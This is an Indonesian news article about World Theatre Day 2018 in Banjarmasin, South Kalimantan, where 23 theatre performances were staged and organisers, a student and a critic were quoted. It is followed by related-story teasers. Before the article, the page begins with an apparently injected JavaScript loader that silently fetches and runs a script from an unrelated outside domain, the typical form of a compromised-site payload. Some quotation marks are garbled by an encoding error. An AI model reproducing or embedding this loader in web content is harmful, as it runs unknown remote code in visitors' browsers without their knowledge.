(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Hari teater sedunia yang jatuh tanggal 27 Maret juga dirayakan para pecinta kesenian di Kalimantan Selatan. Sebanyak 23 pementasan teater mereka gelar di Gedung Balairung Sari, Taman Budaya Kalsel, pada Senin (26/3) hingga Rabu (28/3) kemarin.
Pentas ini tak hanya diisi komunitas teater kampus atau pelajar, tapi juga masyarakat yang ikut memeriahkan dengan tampilan karyanya. Kegiatan ini diselenggarakan Unit Kegiatan Mahasiswa Kampoeng Seni Boedaja Universitas Lambung Mangkurat dibantu jaringan komunitas pekerja seni kampus  yang menamakan diri Forum Komunikasi Pekerja Seni Kampus Kalsel.
Tak hanya itu, diskusi seputar persoalan teater dan wacana yang dibangun pementas mewarnai perayaan tersebut. Sejumlah pementas membawa tema pementasan beragam. Mulai dari persoalan sosial, budaya, dan lingkungan, juga perkembangan apresiasi teater.
Ketua Pelaksana Hari Teater Dunia 2018, Mahbob Fran Akbar mengatakan, pementasan yang diselenggarakan sejak Senin (26/3) itu untuk melihat perkembangan seni pertunjukkan di Kalimantan Selatan. “Apresiasi masih perlu ditingkatkan,†ucapnya.
Menurutnya ruang-ruang seni pertunjukkan di Kalimantan Selatan perlu diperluas lagi. Tujuannya, agar seni teater baik tradisional maupun modern lebih diterima oleh masyarakat secara luas.
Nandin, mahasiswa Fakultas Hukum mengatakan pementasan setahun sekali ini sangatlah ditunggu-tunggu. Mengingat hal tersebut menjadi daya tarik ekspresi mahasiswa di luar bidang akademik yang ditekuni setiap hari. Acara yang menampilkan sanggar seni membuatnya antusias menonton setiap pertunjukan.
“Setiap sanggar memiliki ciri khas tersendiri, tidak kalah dengan sanggar seni di luar Kalsel,” ungkapnya.
Sementara, kritikus seni pertunjukkan Noviyandi Saputra menilai pelaksanaan Hari Teater Dunia di Kalsel masih bersifat ekslusif. Sebab perayaan dengan pertunjukkan di Gedung Balairung Sari Taman Budaya Kalsel masih belum bisa mengundang apresiator lebih banyak. “Yang nonton masih pegiat teater saja,†ucapnya.
Menurutnya, FKPSK Kalsel harus bisa mengembalikan tujuan Hari Teater Dunia untuk mendekatkan teater kepada masyarakat. “Agar teater tidak lagi sebagai tontonan semata. Lebih lanjut menjadi penggerak masyarakat,†katanya. (ammar)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.